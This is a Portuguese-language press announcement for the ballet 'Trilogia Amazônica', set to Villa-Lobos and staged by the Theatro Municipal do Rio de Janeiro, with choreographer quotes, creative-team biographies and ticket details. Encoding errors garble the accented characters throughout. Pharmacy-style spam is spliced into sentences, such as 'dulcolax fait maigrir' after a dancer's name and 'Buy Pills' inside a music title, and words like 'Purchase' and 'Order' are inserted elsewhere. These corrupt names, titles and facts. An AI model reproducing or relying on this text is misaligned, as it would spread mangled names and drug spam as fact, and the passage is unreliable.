Balé/DançaProgramaçãoRio de Janeiro

AmazA?nia no RJ

Theatro Municipal do Rio de Janeiro apresenta o balA� inA�dito Trilogia AmazA?nica.

 

ReflexA�es sobre a relaA�A?o dos homens com a natureza e manifestaA�A�es do folclore brasileiro estA?o na essA?ncia do balA� Trilogia AmazA?nica, que serA? apresentado no Theatro Municipal do Rio de Janeiro por BalA� e Orquestra SinfA?nica do TMRJ nos dias 3, 4, 6, 11, 12 e 13 de agosto, A�s 20h, e nos dias 7 e 14 de agosto, A�s 17h. Com mA?sicas de Heitor Villa-Lobos, a montagem tem trA?s coreografias criadas especialmente para o BalA� da Casa.

O espetA?culo comeA�a com Uirapuru, peA�a elaborada por Daniela Cardim com livre inspiraA�A?o na lenda do pA?ssaro amazA?nico. Na sequA?ncia, vem a coreografia ErosA?o, de Luiz Fernando Bongiovanni, em que a abordagem do tema extrapola o conceito literal da palavra, abrangendo tambA�m a degradaA�A?o do meio ambiente. O programa termina com Alvorecer online , criaA�A?o do coreA?grafo e primeiro bailarino do American Ballet Theatre Marcelo Gomes, com base em elementos do boi-bumbA? e do boi de Parintins.

A produA�A?o tem figurinos de RenA? Salazar, iluminaA�A?o de Maneco QuinderA� e cenA?rios de Gringo Cardia. Na regA?ncia estarA? Tobias Volkmann, maestro titular da OSTM.A�Revezam-se nos papA�is centrais os primeiros bailarinos Claudia Mota, MA?rcia Jaqueline, Karen Mesquita, CA�cero Gomes, Filipe Moreira e Moacir Emanoel, alA�m dos solistas Carolina Neves, Deborah Ribeiro dulcolax fait maigrir , Mel Oliveira, Priscila Albuquerque, Priscilla Mota, Anderson Dionisio, Diego Lima, Edifranc Alves, Murilo Gabriel Buy e Rodrigo Negri. Este espetA?culo conta ainda com a participaA�A?o de alunos da Escola Estadual de DanA�a Maria Olenewa. O BalA� do Theatro Municipal tem direA�A?o artA�stica das primeiras bailarinas Ana Botafogo e CecA�lia Kerche.

Diretor artA�stico da FundaA�A?o Teatro Municipal do Rio de Janeiro, o maestro AndrA� Cardoso comenta: “A ideia que norteou a concepA�A?o de Trilogia AmazA?nica Purchase foi a de apresentar ao pA?blico, durante a realizaA�A?o das OlimpA�adas de 2016, um balA� de temA?tica brasileira que tratasse de valores universais. Aproveitamos o perA�odo em que os olhos do mundo estarA?o voltados para a cidade do Rio de Janeiro para abordar um tema que, em muitos aspectos, se relaciona com o esporte e ao momento A?nico no qual pessoas do mundo inteiro, independente de suas origens e convicA�A�es polA�ticas e religiosas, se reA?nem para celebrar a paz e a uniA?o entre os povos”.

Criadora de Uirapuru, Daniela Cardim faz uma metA?fora em movimentos com base no conto popular sobre o pA?ssaro da floresta que, com seu canto, atrai as jovens A�ndias e se transforma em homem. “Neste trabalho, desenvolvi a histA?ria a partir da fase do A�ndio QuaraA�A? jA? transformado em pA?ssaro e cantando para AnahA�. A mA?sica foi o ponto de partida para a criaA�A?o dessa nova proposta coreogrA?fica para Uirapuru. A caracterA�stica narrativa da composiA�A?o de Villa-Lobos determinou as cenas que foram o alicerce para a concepA�A?o da coreografia. A estrutura e as intenA�A�es do balA� foram desenhadas ainda em Londres, onde resido e trabalho”, diz a coreA?grafa, que trabalha com as mA?sicasA�O PA?ssaro da Floresta (Canto III de A Floresta AmazA?nica, de 1958) e Uirapuru (1917).

JA? Luiz Fernando Bongiovanni conta que o processo de desenvolvimento de ErosA?o contou com a contribuiA�A?o artA�stica dos integrantes do BalA� do TMRJ. “Nossa pesquisa a�� e uso o termo ‘nossa’ porque meu intento foi que os bailarinos do Theatro Municipal fossem companheiros de jornada e nA?o somente intA�rpretes de uma ideia pessoal a�� nos levou a pensar a ErosA?o sob alguns sentidos diversos. Uma aparente erosA?o moral e A�tica que tem transformado o modo como nos comportamos e interagimos”, afirma o autor, que baseia sua coreografia nos ritmos de Buy Pills ErosA?o, a Origem do Rio Amazonas, composta em 1950.

Para conceber a peA�a de encerramento do programa, Alvorecer, Marcelo Gomes valeu-se de referA?ncias pessoais e das festas de bumba meu boi do Nordeste e do estado de Amazonas. “Nasci em Manaus e, quando crianA�a, sempre ouvia os meus familiares contando histA?rias sobre essa grande festa. Agora, quis contar a minha prA?pria versA?o dessa importante lenda folclA?rica brasileira. Realizei, para Amazonas, que Villa-Lobos compA?s Amazonas em 1917, uma coreografia dedicada ao ‘boi’, que por mais de 50 anos encanta os coraA�A�es de todos os amazonenses e se tornou a danA�a do Amazonas”, justifica o coreA?grafo que tambA�m utiliza em sua obra a mA?sica Alvorada na Floresta Tropical, de 1953.

Ensaio de "Uirapuru"
Ensaio de “Uirapuru”

 

Sobre os coreA?grafos

Carioca formada pelo BalA� Eliana Karin, Daniela Cardim ingressou no BalA� do Theatro Municipal do Rio de Janeiro, em 1994, no qual ficou por cinco anos e danA�ou como solista. Em 1999, transferiu-se no Het Nationale Ballet de AmsterdA?, companhia que integrou por 11 anos. Paralelamente A� carreira de bailarina, Daniela desenvolveu seu trabalho como coreA?grafa e criou trA?s obras para o repertA?rio dessa companhia. Posteriormente, foi selecionada e coreografou para o New York Choreographic Institute, afiliado ao New York City Ballet. Coreografou tambA�m trabalhos para a SA?o Paulo Companhia de DanA�a, New English Ballet Theatre, Liverpool Institute for Performing Arts e para a escola do Het Nationale Ballet. Em 2015, foi apontada como CoreA?grafa RevelaA�A?o pelos crA�ticos da revista Dance Europe. Daniela A� graduada em GestA?o ArtA�stica e Cultural pela London South Bank University. Atualmente vive em Londres, onde A� coreA?grafa e professora. Trabalha tambA�m como company manager do New English Ballet Theatre.

 

O paulistano Luiz Fernando Bongiovanni tem trabalhado como coreA?grafo, professor, curador e diretor desde que voltou ao Brasil em 2004, apA?s dez anos de carreira como bailarino profissional na Europa, onde atuou nas companhias ZA?rcher Balllet, Scapino Ballet Rotterdam, Goteborgs Operan, Cullberg Ballet. Desenvolveu trabalhos no Brasil para a SA?o Paulo Companhia de DanA�a, o BalA� GuaA�ra, BalA� Castro Alves, BalA� da Cidade de NiterA?i e o BalA� da Cidade de SA?o Paulo, no qual, alA�m de coreA?grafo convidado, exerceu funA�A�es de assistente de coreografia e diretor assistente. Na Europa desenvolveu trabalhos coreogrA?ficos para o BalA� do Teatro de Hagen e para o BalA� do Teatro de Gelsenkirchen. Junto ao Theatro Municipal de SA?o Paulo trabalhou tambA�m como coreA?grafo na montagem das A?peras SansA?o e Dalila, Ariadne em Naxos e A�a Ira, com a direA�A?o cA?nica de AndrA� Heller-Lopes, e O Menino e os SortilA�gios, com LA�via Sabag. Atualmente A� pesquisador e desenvolve mestrado a respeito da construA�A?o de autonomia no Instituto de Artes da Universidade Estadual de Campinas. A� diretor e coreA?grafo do NA?cleo Mercearia de Ideias, grupo de pesquisa em danA�a contemporA?nea contemplado com prA?mios das Secretarias Estadual e Municipal de Cultura de SA?o Paulo.

 

Nascido em Manaus, Marcelo Gomes iniciou seus estudos de danA�a aos 5 anos com Helena Lobato e Dalal Achcar, no Rio de Janeiro. ApA?s ganhar o PrA?mio RevelaA�A?o no Festival de DanA�a de Joinville, viajou para os Estados Unidos e continuou sua formaA�A?o na Harid Conservatory, em Boca Raton, FlA?rida, e nas escolas do Ballet Boston, Houston Ballet e Cuballet, estudando com Alicia Alonso. Foi premiado com o segundo lugar na National Society of Arts and Letters e ganhou o Hope Prize em Lausanne, depois de estudar um ano na escola da A�pera de Paris. Ingressou no American Ballet Theatre em 1997, como membro do corpo de baile, e subiu rapidamente na hierarquia, sendo promovido a bailarino principal em 2002. Apresentou-se praticamente em todos os primeiros papA�is do repertA?rio clA?ssico da companhia, incluindo obras de renomados coreA?grafos como George Balanchine, Mikhail Fokine, Anthony Tudor, Sir Kenneth MacMillan, Jerome Robbins, Sir Frederick Ashton, John Cranko, Martha Graham, Twyla Tharp, John Neumeier, William Forsythe, Paul Taylor, Mark Morris, Jiri Kylian, Lar Lubovitch, James Kudelka, Nacho Duato, Jorma Elo, Benjamin Millepied, Christopher Wheeldon, Alexei Ratmansky e Matthew Bourne. Como coreA?grafo, criou balA�s para o American Ballet Theatre, Complexions Ballet Contemporary, La Scala e Kings of the Dance. Seu balA� ApothA�ose, criado para Julie Kent e Roberto Bolle, estreou na noite de abertura do American Ballet, no Metropolitan Opera House, em maio de 2013. Seu mais recente trabalho, After Effect, com cenA?rio da artista FranA�oise Gilot, entrou para o repertA?rio do ABT em outubro de 2015.

 

Equipe tA�cnica

Bacharel em Cenografia pela UniRio, o figurinista RenA? Salazar desempenha atualmente a funA�A?o de assistente de cenografia em montagens da Companhia de BalA� do Theatro Municipal do RJ. Em 2012, este artista paulistano participou como assistente de arte do filme de Clovis Mello NinguA�m Ama NinguA�m Por Mais de Dois Anos, sobre contos de Nelson Rodrigues. No mesmo ano, foi convidado a expor sua obra, Primavera Morta, para o Movimento Arte Jovem Brasileira. Sua estreia como cenA?grafo se deu em 2013, com os espetA?culos Sonhos, com a primeira bailarina MA?rcia Jaqueline e o pianista Guilherme Tomaselli, em Joinville/SC, e DiscothA?ke, criado para o Grupo de DanA�a DissA�dio Coletivo, no Centro Cultural dos Correios/RJ. Em 2014, para a primeira bailarina Ana Botafogo e a cantora Flavia Bittencourt, assinou cenA?rio e figurino do espetA?culo Mulher. Em seus A?ltimos trabalhos, ganham destaque o figurino do balA� Diamante, para o Teatro ColA?n de Buenos Aires; a participaA�A?o, como assistente de produA�A?o, na PQ2015, em Sound and Kitchen, na Quadrienal de Praga na RepA?blica Checa; a concepA�A?o visual da A?pera Acis e Galatea, com a Orquestra Barroca da UniRio; e o cenA?rio para a peA�a MartA�rio dos Ratos, de Iremar Brito, para o Grupo Colmeia.

 

Maneco QuinderA� comeA�ou a trabalhar em 1984 como assistente de iluminaA�A?o de AurA�lio de Simoni, profissional de quem A� discA�pulo, ao lado do mestre LuA�s Paulo NenA�m. Piauiense de Teresina, aliou tA�cnica A� intuiA�A?o para criar projetos de luz que, desde a dA�cada de 1980, dominam a cena cultural do Brasil. No teatro, foi o responsA?vel pela iluminaA�A?o de peA�as como As CentenA?rias, com Marieta Severo e Andrea BeltrA?o; Orfeu da ConceiA�A?o, clA?ssico de Vinicius de Moraes; Hamlet, de Shakespeare; Toda Nudez SerA? Castigada, de Nelson Rodrigues, entre outros sucessos de bilheteria. Shows foram mais de dez, de Caetano Veloso, Maria BethA?nia, Chico Buarque e Milton Nascimento a Frejat, Vanessa da Mata e Sandy. Desde 2000, A� o nome por trA?s das concepA�A�es de luz para alguns dos desfiles mais importantes das semanas de moda de SA?o Paulo e Rio de Janeiro. Seus 30 anos dedicados A� iluminaA�A?o o transformaram em um dos mais conceituados profissionais em atividade no paA�s: sA?o seis prA?mios Shell (1994, 1998, 1999, 2005, 2011 e 2014), quatro prA?mios Sharp (1995, 1996, 1998 e 1999), quatro da APTR a�� AssociaA�A?o dos Produtores de Teatro do Rio de Janeiro (2008, 2011, 2012 e 2013), trA?s Mambembe (1987, 1994 e 1995), alA�m de dois MoliA?re (1987 e 1994), dois APCA a�� AssociaA�A?o Paulista dos CrA�ticos de Arte (1994 e 1995), dois APTESP a�� AssociaA�A?o dos Produtores Teatrais do Estado de SA?o Paulo (1997 e 1998), alA�m dos prA?mios EletrobrA?s (2006), PrA?mio Usiminas (2007) e Sesc Sated (2007).

 

GaA?cho de Uruguaiana, Gringo Cardia A� designer, arquiteto, cenA?grafo, artista grA?fico, diretor de arte, diretor de videoclipes, teatro, A?peras, desfiles de moda, curador de museus e exposiA�A�es no Brasil e no exterior. Em mA?sica, fez a direA�A?o de arte de capas de disco como Tom Jobim, Maria BethA?nia, Gilberto Gil, Marisa Monte, Chico Buarque, Carlinhos Brown, entre outros. Criou cenA?rios de shows e dirigiu mais de 70 videoclipes. Em teatro, fez cenA?rios de vA?rias peA�as em que trabalhou com renomados diretores brasileiros como Mauro Rasi, Miguel Falabella, Hector Babenco e JosA� Celso Martinez CorrA?a, entre outros. Fez a direA�A?o e cenografia de vA?rios espetA?culos e exposiA�A�es em Londres, Paris, Berlim, Nova Iorque e TA?quio. Trabalhou com o diretor alemA?o Werner Herzog na A?pera Midsummer Night’s Dream. A� o parceiro criativo e cenA?grafo de todos os trabalhos da Cia. de DanA�a Deborah Colker. Criou juntamente com Deborah, o espetA?culo O Ovo, do Cirque Du Soleil, em turnA? mundial. Durante a Copa do Mundo de 2010 na A?frica do Sul, criou a Casa Brasil e, durante as OlimpA�adas de Londres, em 2012, o projeto multimA�dia Rio London Occupation. Criou a concepA�A?o visual do Brazil Festival do SouthBank Centre. Sua exposiA�A?o Order Cazuza Mostra sua Cara foi recorde de pA?blico no Museu da LA�ngua Portuguesa em SP. A� curador e designer da primeira grande exposiA�A?o temporA?ria do Museu do AmanhA?, no Rio, O Poeta Voador a�� Santos Dumont, recorde de pA?blico. Faz a concepA�A?o visual do PrA?mio da MA?sica Brasileira hA? 15 anos com o diretor JosA� MaurA�cio Machline. Recebeu mais de 20A�prA?mios no Brasil e no exterior como designer. A� diretor da ONG Escola FA?brica Spectaculu, juntamente com a atriz Marisa Orth, o artista Vik Muniz e a produtora de eventos de arte Malu Barretto, que forma jovens das periferias do Rio de Janeiro em tA�cnicos para a A?rea de espetA?culos hA? 17 anos.

 

Um dos destaques da nova geraA�A?o de regentes orquestrais do Brasil, o maestro Tobias Volkmann vem atraindo atenA�A?o para uma carreira internacional em ascensA?o, desde a conquista dos principais prA?mios concedidos no Concurso Internacional de RegA?ncia Jorma Panula 2012, na FinlA?ndia, e do PrA?mio de PA?blico no Festival Musical Olympus de SA?o Petersburgo, em 2013. No Theatro Municipal do Rio de Janeiro, esteve A� frente da montagem da A?pera As Bodas de FA�garo. Ainda no TMRJ, assinou a direA�A?o musical do balA� Apoteose da DanA�a e um concerto com o Coro e a OSTM em programa francA?s com mA?sica de Dukas, Ravel e Debussy, que tiveram A?tima acolhida. Na abertura da temporada 2016, Volkmann foi nomeado maestro titular da Orquestra SinfA?nica do Theatro Municipal.

Em dezembro de 2015, estreou na cA�lebre sala do Gewandhaus de Leipzig como convidado da temporada oficial do Coro e Orquestra da RA?dio MDR, concerto que foi o ponto alto de uma temporada com sucessos de pA?blico e de crA�tica. A temporada de 2015 marcou ainda a estreia alemA? A� frente da SinfA?nica de Brandemburgo em concerto de mA?sica brasileira. Entre 2009 e 2011 foi regente assistente da FilarmA?nica Carnegie Mellon, nos Estados Unidos.A�Tendo a versatilidade como grande qualidade artA�stica, Volkmann se mostra igualmente A� vontade no repertA?rio sinfA?nico, coral, no teatro de A?pera e balA� e na mA?sica para cinema. Com especial atenA�A?o A� mA?sica contemporA?nea, dirigiu estreias nos EUA, RA?ssia e Brasil. Estudou canto com InA?cio De Nonno e regA?ncia com AndrA� Cardoso na Universidade Federal do Rio de Janeiro. Complementou sua formaA�A?o como regente em masterclasses internacionais ministrados por Kurt Masur, Jorma Panula, Ronald Zollman, Isaac Karabtchevsky e Fabio Mechetti. Concluiu mestrado em regA?ncia orquestral na Universidade Carnegie Mellon de Pittsburgh (EUA) sob a orientaA�A?o de Ronald Zollman. Neste ano, estreou como regente convidado da SinfA?nica do ParanA?, em abril, e da FilarmA?nica de Minas Gerais, em julho.

Fotos: ensaio de Uirapuru, por JA?lia RA?nai

 

SERVIA�O:

 

BalA� “Trilogia AmazA?nica”

 

BalA� e Orquestra SinfA?nica do Theatro Municipal do Rio de Janeiro

Tobias Volkmann, regA?ncia

 

3, 4, 6, 11, 12 e 13 de agosto, A�s 20h, e 7 e 14 de agosto, A�s 17h

Theatro Municipal do Rio de Janeiro (PraA�a Floriano s/n, Centro a�� Rio de Janeiro. Tel.: 21 2332-9191)

 

Ingressos: R$ 600 (frisas e camarotes), R$ 100 (plateia e balcA?o nobre), R$ 72 (balcA?o superior) e R$ 36 (galeria), com meia-entrada para pessoas com necessidades especiais, pessoas com mais de 60 anos e estudantes

 

Capacidade: 2.227 lugares

ClassificaA�A?o etA?ria: livre

DuraA�A?o aproximada: 90 minutos, incluindo o intervalo

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